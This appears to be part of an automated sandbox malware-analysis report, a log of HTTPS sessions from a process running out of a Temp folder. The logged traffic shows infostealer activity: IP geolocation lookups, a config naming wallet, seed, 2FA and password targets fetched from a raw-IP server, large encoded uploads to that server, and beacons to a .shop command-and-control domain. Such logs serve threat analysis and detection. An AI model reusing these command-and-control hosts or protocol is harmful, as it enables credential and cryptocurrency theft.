2024-05-24 11:43:51 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-24 11:43:51 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	63792	104.26.4.15	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:52 UTC	261	OUT	GET /demo/home.php?s=8.46.123.175 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-05-24 11:43:52 UTC	658	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:52 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: A29E3EB1:516E_93878F2E:0050_66507D78_EF88784:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bl%2B5ooonEbBFtBAqJ4wkFysfLej8EtATJnVEyHRBj%2B9QeaMslbsilB%2FRHMYs6bsEfjGHTN6mibrR40KF9UQUKWlG%2F8TI0PPrf2q%2FUKeFqgnd3X9WIOMTl1ikvA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d07cf2cc40c80-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:52 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-05-24 11:43:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	63793	65.109.242.59	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:52 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKECAEBGHDAEBFHIEGHI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:43:52 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 37 34 39 64 38 38 38 30 38 63 62 38 37 32 61 66 64 61 33 62 36 36 38 34 64 33 61 37 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 0d 0a 43 6f 6e 74 Data Ascii: ------BKECAEBGHDAEBFHIEGHIContent-Disposition: form-data; name="token"8749d88808cb872afda3b6684d3a7eba------BKECAEBGHDAEBFHIEGHIContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------BKECAEBGHDAEBFHIEGHICont
2024-05-24 11:43:53 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:43:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 11:43:53 UTC	1524	IN	Data Raw: 35 65 38 0d 0a 52 45 56 54 53 31 52 50 55 48 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 77 71 61 47 6c 30 59 6e Data Ascii: 5e8REVTS1RPUHwlREVTS1RPUCVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl0Yn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	63795	65.109.242.59	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:56 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEBGHDBKEBGIDHJJEHC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Content-Length: 453 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:43:56 UTC	453	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 37 34 39 64 38 38 38 30 38 63 62 38 37 32 61 66 64 61 33 62 36 36 38 34 64 33 61 37 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 0d 0a 43 6f 6e 74 Data Ascii: ------CAEBGHDBKEBGIDHJJEHCContent-Disposition: form-data; name="token"8749d88808cb872afda3b6684d3a7eba------CAEBGHDBKEBGIDHJJEHCContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------CAEBGHDBKEBGIDHJJEHCCont
2024-05-24 11:43:56 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:43:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 11:43:56 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	63799	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:57 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: employhabragaomlsp.shop
2024-05-24 11:43:57 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-05-24 11:43:57 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n7dch1lne11912gkf1om2pgirr; expires=Tue, 17-Sep-2024 05:30:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8S5xmrQo2RtDCIKbGRbtMDMCZeSsLUixokpzDmH8sH6%2Fdlc3C%2BJKsrPp4Ln%2F6ZcSb6qftPdme0TjTkpXFw9oupwfkK8z13vzh0tZpjuHChDBjPFzB7CVbpZGhMg1zrXKozWr%2FcQ08dx9%2FQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d07ee9d0542a3-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:43:57 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-05-24 11:43:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	63800	65.109.242.59	443	7456	C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:57 UTC	281	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIJDAAAAAAKECBFBAE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 65.109.242.59 Content-Length: 115129 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 11:43:57 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 37 34 39 64 38 38 38 30 38 63 62 38 37 32 61 66 64 61 33 62 36 36 38 34 64 33 61 37 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 32 64 30 36 31 38 33 30 34 61 38 38 64 36 34 37 36 62 63 35 35 64 33 33 63 32 33 64 37 65 36 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 Data Ascii: ------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="token"8749d88808cb872afda3b6684d3a7eba------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="build_id"42d0618304a88d6476bc55d33c23d7e6------HIIIJDAAAAAAKECBFBAECont
2024-05-24 11:43:57 UTC	16355	OUT	Data Raw: 61 49 5a 6b 6d 67 4d 61 44 31 4a 52 77 4b 34 75 76 51 66 68 74 2f 78 37 36 6c 2f 76 52 2f 79 61 76 4e 7a 52 75 4f 48 75 75 36 50 58 79 52 63 32 4b 73 2b 7a 4c 65 6a 78 6a 78 44 38 4d 30 73 72 61 51 4a 4b 62 59 32 35 79 66 75 75 76 47 44 39 65 50 77 4e 63 78 61 65 48 39 65 76 70 4e 4a 30 32 66 52 6f 72 4b 4c 54 35 64 30 6c 32 4d 5a 63 5a 7a 31 42 35 2f 44 76 36 56 31 64 37 34 66 31 50 54 4e 55 6d 31 54 77 31 4e 43 6a 54 6e 64 63 57 55 2b 66 4c 6b 50 39 34 65 68 2f 4c 36 39 71 61 32 71 65 4e 4a 56 38 75 50 77 39 61 77 53 48 6a 7a 70 4c 74 57 55 65 2b 41 63 31 35 63 4b 72 56 33 53 61 73 33 66 56 32 61 62 2f 50 38 54 36 47 64 4a 4f 79 71 70 33 53 74 6f 72 70 70 66 6c 2b 41 65 4c 4a 42 63 36 2f 34 62 30 36 4c 35 72 6a 37 61 74 30 79 6a 2b 46 45 35 4a 50 36 2f Data Ascii: aIZkmgMaD1JRwK4uvQfht/x76l/vR/yavNzRuOHuu6PXyRc2Ks+zLejxjxD8M0sraQJKbY25yfuuvGD9ePwNcxaeH9evpNJ02fRorKLT5d0l2MZcZz1B5/Dv6V1d74f1PTNUm1Tw1NCjTndcWU+fLkP94eh/L69qa2qeNJV8uPw9awSHjzpLtWUe+Ac15cKrV3Sas3fV2ab/P8T6GdJOyqp3Storppfl+AeLJBc6/4b06L5rj7at0yj+FE5JP6/
2024-05-24 11:43:57 UTC	16355	OUT	Data Raw: 34 79 4b 33 37 64 65 31 72 2f 66 2f 57 37 50 64 6c 6d 57 58 7a 65 71 30 31 36 65 76 39 66 30 69 33 66 61 78 61 57 56 72 70 45 55 74 72 43 77 57 2b 6e 73 64 52 6d 32 67 75 72 47 4f 4d 73 51 65 78 6a 61 54 48 31 51 2b 74 51 78 33 72 32 4f 70 36 74 70 73 6b 32 6e 52 79 36 56 70 4c 4e 4e 65 58 64 76 35 30 59 75 54 4e 47 47 34 32 4f 53 46 42 32 44 43 6e 75 65 35 71 6c 48 6f 45 67 74 6a 62 53 58 4a 6b 68 4d 37 33 47 31 67 43 54 4b 34 55 4d 78 4f 4d 6b 6e 61 4f 2f 61 72 69 32 6c 36 6c 31 65 58 67 75 4c 64 37 71 39 44 4c 63 74 4e 62 52 79 4a 4b 43 77 59 67 6f 79 6c 65 6f 42 36 64 71 70 34 4c 47 4e 4e 74 36 75 2f 58 72 62 38 74 2f 77 4a 57 5a 5a 66 46 78 53 6a 6f 72 4c 62 70 66 58 35 37 66 69 48 39 72 6b 36 76 63 32 55 48 39 6e 32 31 37 63 52 32 6b 6c 6e 63 58 4d Data Ascii: 4yK37de1r/f/W7PdlmWXzeq016ev9f0i3faxaWVrpEUtrCwW+nsdRm2gurGOMsQexjaTH1Q+tQx3r2Op6tpsk2nRy6VpLNNeXdv50YuTNGG42OSFB2DCnue5qlHoEgtjbSXJkhM73G1gCTK4UMxOMknaO/ari2l6l1eXguLd7q9DLctNbRyJKCwYgoyleoB6dqp4LGNNt6u/Xrb8t/wJWZZfFxSjorLbpfX57fiH9rk6vc2UH9n217cR2klncXM
2024-05-24 11:43:57 UTC	16355	OUT	Data Raw: 42 38 6e 2b 38 74 56 64 4d 2b 39 4c 39 42 56 6d 39 50 38 41 78 4c 35 76 71 76 38 41 4f 71 75 6d 48 35 35 50 6f 4b 75 50 77 4d 44 53 78 51 4d 2b 6c 47 61 4d 31 6d 49 57 69 67 48 32 70 63 30 41 4a 6a 69 69 6c 7a 39 61 4d 69 6b 41 55 43 6c 6f 6f 75 41 6e 61 6c 78 51 61 57 6b 46 78 4d 55 55 75 4b 4d 65 39 41 68 4d 55 59 70 52 53 34 6f 41 62 69 6c 70 63 55 75 4b 41 75 4e 41 2f 6c 53 34 70 63 55 59 70 58 45 48 65 72 32 6e 66 66 6d 78 2f 77 41 38 48 2f 6c 56 4d 43 72 32 6e 66 36 32 54 6a 2f 6c 69 2f 38 41 4b 73 71 33 77 4d 45 39 54 67 5a 50 65 6f 6a 55 72 34 7a 55 52 36 56 37 6b 4e 6b 64 63 52 44 7a 54 54 30 70 65 74 49 61 73 74 44 54 54 54 36 2f 79 70 78 36 38 39 4b 61 66 77 4e 44 4b 51 33 41 4a 70 70 4e 4b 54 69 6d 6e 6d 70 5a 61 45 7a 6e 74 53 48 6d 6c 4a 2b Data Ascii: B8n+8tVdM+9L9BVm9P8AxL5vqv8AOqumH55PoKuPwMDSxQM+lGaM1mIWigH2pc0AJjiilz9aMikAUCloouAnalxQaWkFxMUUuKMe9AhMUYpRS4oAbilpcUuKAuNA/lS4pcUYpXEHer2nffmx/wA8H/lVMCr2nf62Tj/li/8AKsq3wME9TgZPeojUr4zUR6V7kNkdcRDzTT0petIastDTTT6/ypx689KafwNDKQ3AJppNKTimnmpZaEzntSHmlJ+
2024-05-24 11:43:57 UTC	16355	OUT	Data Raw: 52 78 6a 39 61 51 39 61 6b 59 6c 4e 35 78 54 6a 79 50 78 70 4d 34 4f 61 51 78 44 78 33 36 30 30 38 30 34 2b 31 4e 50 72 37 30 69 6b 42 35 70 44 37 39 71 57 6b 7a 78 51 4d 4f 76 61 6b 78 37 38 30 5a 7a 51 54 37 30 67 41 6e 49 39 36 53 6c 4f 54 53 59 77 61 42 6e 6f 64 4a 53 30 56 6b 66 4a 43 55 74 46 46 41 43 55 55 55 55 44 43 69 69 69 6b 41 55 55 55 55 41 46 46 4c 6d 69 6d 41 6c 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 4c 52 51 41 6c 46 46 46 41 42 53 59 70 61 4b 51 43 59 6f 70 61 54 46 4d 41 6f 70 61 54 46 41 42 52 52 69 6a 46 41 42 53 55 74 46 41 43 55 55 74 46 41 78 4b 4b 57 69 67 42 4b 4b 4b 4b 41 43 6b 70 61 4b 41 45 6f 6f 6f 46 4d 41 6f 37 55 74 46 41 43 55 55 55 55 41 42 70 4b 57 6b 6f 41 4b 4b 4b 4b 45 4d 53 69 67 30 55 41 46 4a 53 30 6e Data Ascii: Rxj9aQ9akYlN5xTjyPxpM4OaQxDx3600804+1NPr70ikB5pD79qWkzxQMOvakx780ZzQT70gAnI96SlOTSYwaBnodJS0VkfJCUtFFACUUUUDCiiikAUUUUAFFLmimAlFFFABRRRQAUUUUAFFLRQAlFFFABSYpaKQCYopaTFMAopaTFABRRijFABSUtFACUUtFAxKKWigBKKKKACkpaKAEoooFMAo7UtFACUUUUABpKWkoAKKKKEMSig0UAFJS0n
2024-05-24 11:43:57 UTC	16355	OUT	Data Raw: 2f 43 6f 76 37 59 30 79 56 64 4b 45 63 4e 2f 42 39 74 67 6b 75 70 4a 4a 5a 30 64 59 59 6f 33 63 50 77 49 31 79 64 73 5a 49 35 48 58 76 58 44 50 4d 4d 50 61 7a 31 54 2f 56 66 35 58 50 56 70 5a 52 6a 59 76 6e 68 6f 30 39 4e 37 33 54 36 66 4f 31 69 78 44 39 74 74 6f 68 46 62 61 78 71 63 45 53 2f 64 6a 69 75 6d 56 56 2b 67 71 54 37 52 71 6e 2f 41 45 48 39 59 2f 38 41 41 78 71 6f 74 71 6c 6c 48 4e 65 53 53 53 79 66 59 62 61 42 4c 77 4f 6f 47 2b 53 46 39 76 6c 67 64 74 78 4c 71 4d 39 42 79 63 63 59 70 4a 39 52 6a 51 54 6b 32 57 6f 32 54 70 59 69 38 6a 69 76 51 42 35 69 68 77 47 4b 6e 59 75 34 62 57 7a 30 48 51 39 61 34 58 52 79 78 66 59 58 2b 58 34 6e 74 66 32 68 78 44 4b 39 36 72 76 38 74 66 77 2f 34 63 76 2f 41 47 6a 56 50 2b 67 2f 72 48 2f 67 59 31 52 79 74 Data Ascii: /Cov7Y0yVdKEcN/B9tgkupJJZ0dYYo3cPwI1ydsZI5HXvXDPMMPaz1T/Vf5XPVpZRjYvnho09N73T6fO1ixD9ttohFbaxqcES/djiumVV+gqT7Rqn/AEH9Y/8AAxqotqllHNeSSSyfYbaBLwOoG+SF9vlgdtxLqM9ByccYpJ9RjQTk2Wo2TpYi8jivQB5ihwGKnYu4bWz0HQ9a4XRyxfYX+X4ntf2hxDK96rv8tfw/4cv/AGjVP+g/rH/gY1Ryt
2024-05-24 11:43:57 UTC	16355	OUT	Data Raw: 64 63 4d 70 48 63 4b 32 63 48 30 4e 64 5a 35 62 44 55 6e 6c 38 31 69 6a 52 4b 6f 6a 37 41 67 74 7a 39 54 6e 39 4b 6f 52 57 6d 71 7a 33 63 4c 36 6a 4c 61 2b 52 62 45 75 6e 6b 42 73 79 76 67 67 4d 77 50 33 51 41 54 77 4d 38 39 2b 4b 30 54 2f 77 41 66 76 2f 41 42 2f 4d 31 30 34 6d 53 6e 4f 36 74 38 6a 74 77 30 5a 51 67 30 2f 77 41 54 7a 72 78 4c 2f 77 41 67 62 77 37 2f 41 4e 65 4b 2f 77 44 6f 4b 31 7a 64 64 4a 34 6c 2f 77 43 51 4e 34 64 2f 36 38 56 2f 39 42 57 75 62 72 36 4c 4b 2f 38 41 63 34 66 31 31 50 69 2b 49 66 38 41 6b 5a 31 76 58 39 45 46 48 65 69 6b 72 30 44 78 68 61 53 6c 70 4b 53 41 39 42 38 51 61 74 2f 59 66 68 6e 51 64 53 45 66 6d 4e 43 36 62 56 7a 31 4a 74 35 46 47 66 62 4a 46 65 50 33 6c 33 50 66 33 6b 74 31 63 79 47 53 61 56 74 7a 73 65 35 72 Data Ascii: dcMpHcK2cH0NdZ5bDUnl81ijRKoj7Agtz9Tn9KoRWmqz3cL6jLa+RbEunkBsyvggMwP3QATwM89+K0T/wAfv/AB/M104mSnO6t8jtw0ZQg0/wATzrxL/wAgbw7/ANeK/wDoK1zddJ4l/wCQN4d/68V/9BWubr6LK/8Ac4f11Pi+If8AkZ1vX9EFHeikr0DxhaSlpKSA9B8Qat/YfhnQdSEfmNC6bVz1Jt5FGfbJFeP3l3Pf3kt1cyGSaVtzse5r
2024-05-24 11:43:57 UTC	644	OUT	Data Raw: 77 6a 62 76 66 36 65 39 79 38 74 35 4e 63 32 56 31 35 63 51 66 37 4b 70 6b 53 61 4d 4c 38 79 62 6c 59 45 62 68 6a 63 61 35 71 46 64 56 30 32 48 53 4e 44 30 61 36 2b 78 33 71 77 50 71 56 39 63 68 74 76 32 66 65 6e 44 46 68 6b 72 73 68 77 63 6a 6e 35 32 41 35 50 50 4b 52 36 39 72 45 56 6e 4e 5a 52 36 72 66 4c 61 58 44 46 35 72 63 58 44 65 58 4b 78 36 6c 6c 7a 68 69 63 44 4f 52 53 72 34 67 31 69 50 56 35 74 56 68 31 4b 36 67 76 35 69 64 39 78 62 79 6d 4a 6a 6e 71 50 6c 78 67 64 4f 42 78 77 4b 4c 42 63 39 4f 67 31 32 61 37 4d 65 70 61 44 50 63 53 58 45 32 74 57 56 68 63 58 4f 30 72 4a 65 52 72 44 6a 4d 67 37 69 52 67 78 49 50 58 41 7a 79 4b 79 37 36 57 61 78 74 74 55 30 53 34 31 4b 4f 4f 77 31 4f 5a 72 62 53 4c 43 57 54 62 42 44 46 39 6f 4a 2b 30 74 2f 43 67 Data Ascii: wjbvf6e9y8t5Nc2V15cQf7KpkSaML8yblYEbhjca5qFdV02HSND0a6+x3qwPqV9chtv2fenDFhkrshwcjn52A5PPKR69rEVnNZR6rfLaXDF5rcXDeXKx6llzhicDORSr4g1iPV5tVh1K6gv5id9xbymJjnqPlxgdOBxwKLBc9Og12a7MepaDPcSXE2tWVhcXO0rJeRrDjMg7iRgxIPXAzyKy76WaxttU0S41KOOw1OZrbSLCWTbBDF9oJ+0t/Cg
2024-05-24 11:43:59 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:43:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 11:43:59 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	63802	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:43:58 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: employhabragaomlsp.shop
2024-05-24 11:43:58 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-05-24 11:43:58 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:43:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fuds8aeknpcjaihp3jr87lner0; expires=Tue, 17-Sep-2024 05:30:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XHq3l50mQaMy%2Fgi906zbv4vK6MfGnKXiFkKk%2Fxpm4wBjTMXII0pJPM1cdG%2BQnCsX6C1BfgHVlomQ4jdDwL7XaIPbbFJ0rbOQxM0ltEzlQijvgXj0LZAbMHZH0XDay5blpxMCrlmOi0PUaQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d07f75db48c4b-EWR alt-svc: h3=":443"; ma=86400
